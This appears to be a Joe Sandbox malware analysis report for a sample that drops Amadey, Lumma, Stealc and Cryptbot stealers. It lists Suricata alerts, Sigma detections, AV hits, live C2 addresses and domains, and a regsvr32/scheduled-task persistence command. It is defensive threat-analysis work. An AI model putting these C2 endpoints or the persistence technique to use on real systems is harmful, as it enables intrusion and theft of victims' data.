Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 3116, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", ProcessId: 748, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5040, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 3116, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", ProcessId: 748, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:38.010939+0100	2028371	3	Unknown Traffic	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:42.501152+0100	2028371	3	Unknown Traffic	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:48.316516+0100	2028371	3	Unknown Traffic	192.168.2.5	49909	188.114.96.3	443	TCP
2024-11-21T03:09:52.695146+0100	2028371	3	Unknown Traffic	192.168.2.5	49918	188.114.96.3	443	TCP
2024-11-21T03:09:55.832764+0100	2028371	3	Unknown Traffic	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:09:58.669508+0100	2028371	3	Unknown Traffic	192.168.2.5	49938	188.114.96.3	443	TCP
2024-11-21T03:10:01.440750+0100	2028371	3	Unknown Traffic	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:04.187842+0100	2028371	3	Unknown Traffic	192.168.2.5	49970	188.114.96.3	443	TCP
2024-11-21T03:10:08.209677+0100	2028371	3	Unknown Traffic	192.168.2.5	49989	188.114.96.3	443	TCP
2024-11-21T03:10:08.398785+0100	2028371	3	Unknown Traffic	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-21T03:10:17.635452+0100	2028371	3	Unknown Traffic	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-21T03:11:31.376218+0100	2028371	3	Unknown Traffic	192.168.2.5	50228	52.182.143.212	443	TCP
2024-11-21T03:12:58.297850+0100	2028371	3	Unknown Traffic	192.168.2.5	50327	20.189.173.23	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:40.651288+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:44.759727+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:58.291299+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:10:02.293721+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:18.380301+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50031	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:40.651288+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:58.291299+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49928	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:44.759727+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:10:02.293721+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49955	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:38.010939+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49880	188.114.96.3	443	TCP
2024-11-21T03:09:42.501152+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49893	188.114.96.3	443	TCP
2024-11-21T03:09:48.316516+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49909	188.114.96.3	443	TCP
2024-11-21T03:09:52.695146+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49918	188.114.96.3	443	TCP
2024-11-21T03:09:55.832764+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49928	188.114.96.3	443	TCP
2024-11-21T03:09:58.669508+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49938	188.114.96.3	443	TCP
2024-11-21T03:10:01.440750+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49955	188.114.96.3	443	TCP
2024-11-21T03:10:04.187842+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49970	188.114.96.3	443	TCP
2024-11-21T03:10:08.209677+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49989	188.114.96.3	443	TCP
2024-11-21T03:10:08.398785+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	49991	188.114.96.3	443	TCP
2024-11-21T03:10:17.635452+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.5	50031	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:10:19.912792+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50039	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:21.282665+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49840	185.215.113.43	80	TCP
2024-11-21T03:09:29.752029+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49860	185.215.113.43	80	TCP
2024-11-21T03:09:38.624508+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49881	185.215.113.43	80	TCP
2024-11-21T03:09:47.588707+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49904	185.215.113.43	80	TCP
2024-11-21T03:09:55.725403+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49924	185.215.113.43	80	TCP
2024-11-21T03:10:06.733084+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49980	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:57.327510+0100	2054350	1	A Network Trojan was detected	192.168.2.5	49932	34.116.198.130	80	TCP
2024-11-21T03:10:02.174595+0100	2054350	1	A Network Trojan was detected	192.168.2.5	49957	34.116.198.130	80	TCP
2024-11-21T03:10:33.310226+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50079	34.116.198.130	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:36.468614+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.5	55760	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:50.702693+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49912	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:50.581670+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49912	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:51.057620+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49912	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:52.743427+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49912	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:51.262472+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49912	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:10:09.431624+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49989	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:50.111204+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:10:56.814064+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50151	185.215.113.206	80	TCP
2024-11-21T03:11:03.840254+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50183	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:05.886440+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49801	185.215.113.43	80	TCP
2024-11-21T03:14:18.804234+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50394	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:19.877681+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49808	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:10.375948+0100	2803305	3	Unknown Traffic	192.168.2.5	49814	31.41.244.11	80	TCP
2024-11-21T03:09:22.754001+0100	2803305	3	Unknown Traffic	192.168.2.5	49842	154.216.20.78	80	TCP
2024-11-21T03:09:31.593005+0100	2803305	3	Unknown Traffic	192.168.2.5	49864	185.215.113.16	80	TCP
2024-11-21T03:09:40.196896+0100	2803305	3	Unknown Traffic	192.168.2.5	49887	185.215.113.16	80	TCP
2024-11-21T03:09:49.358840+0100	2803305	3	Unknown Traffic	192.168.2.5	49911	185.215.113.16	80	TCP
2024-11-21T03:09:57.235129+0100	2803305	3	Unknown Traffic	192.168.2.5	49931	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:09:53.550899+0100	2803304	3	Unknown Traffic	192.168.2.5	49912	185.215.113.206	80	TCP
2024-11-21T03:10:30.435769+0100	2803304	3	Unknown Traffic	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:32.602325+0100	2803304	3	Unknown Traffic	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:33.993771+0100	2803304	3	Unknown Traffic	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:35.384435+0100	2803304	3	Unknown Traffic	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:39.197820+0100	2803304	3	Unknown Traffic	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:40.568810+0100	2803304	3	Unknown Traffic	192.168.2.5	50069	185.215.113.206	80	TCP
2024-11-21T03:10:47.101946+0100	2803304	3	Unknown Traffic	192.168.2.5	50137	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T03:10:10.809336+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49991	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2638498819.0000000005060000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: ce23dfc9e9.exe.1272.7.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["QUERY\|rd\|AAAA\|IN\|home.fvtekk5pn.top", "fvtekk5pn.top", "gPhome.fvtekk5pn.top", "home.fvtekk5pn.top", "\"home.fvtekk5pn.top", "0/80/home.fvtekk5pn.top", "QUERY\|rd\|A\|IN\|home.fvtekk5pn.top"]}
Source: 41266a11cd.exe.6364.24.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs", "3xp3cts1aim.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 42%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: ce23dfc9e9.exe, 00000007.00000003.2803437598.0000000007712000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_d2e2923d-3

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Little Leg_is1

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50167 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50223 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.91:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.182.143.212:443 -> 192.168.2.5:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50267 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50271 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.23:443 -> 192.168.2.5:50327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50379 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50377 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0041DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	23_2_0041DBBE
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_003EC2A2 FindFirstFileExW,	23_2_003EC2A2
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_004268EE FindFirstFileW,FindClose,	23_2_004268EE
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0042698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	23_2_0042698F
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0041D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	23_2_0041D076
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0041D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	23_2_0041D3A9
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00429642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	23_2_00429642
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_0042979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	23_2_0042979D
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00429B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	23_2_00429B2B
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Code function: 23_2_00425C97 FindFirstFileW,FindNextFileW,FindClose,	23_2_00425C97

Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 0MB later: 29MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49801 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49808
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49840 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.5:55760 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49881 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.5:49893 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49904 -> 185.215.113.43:80
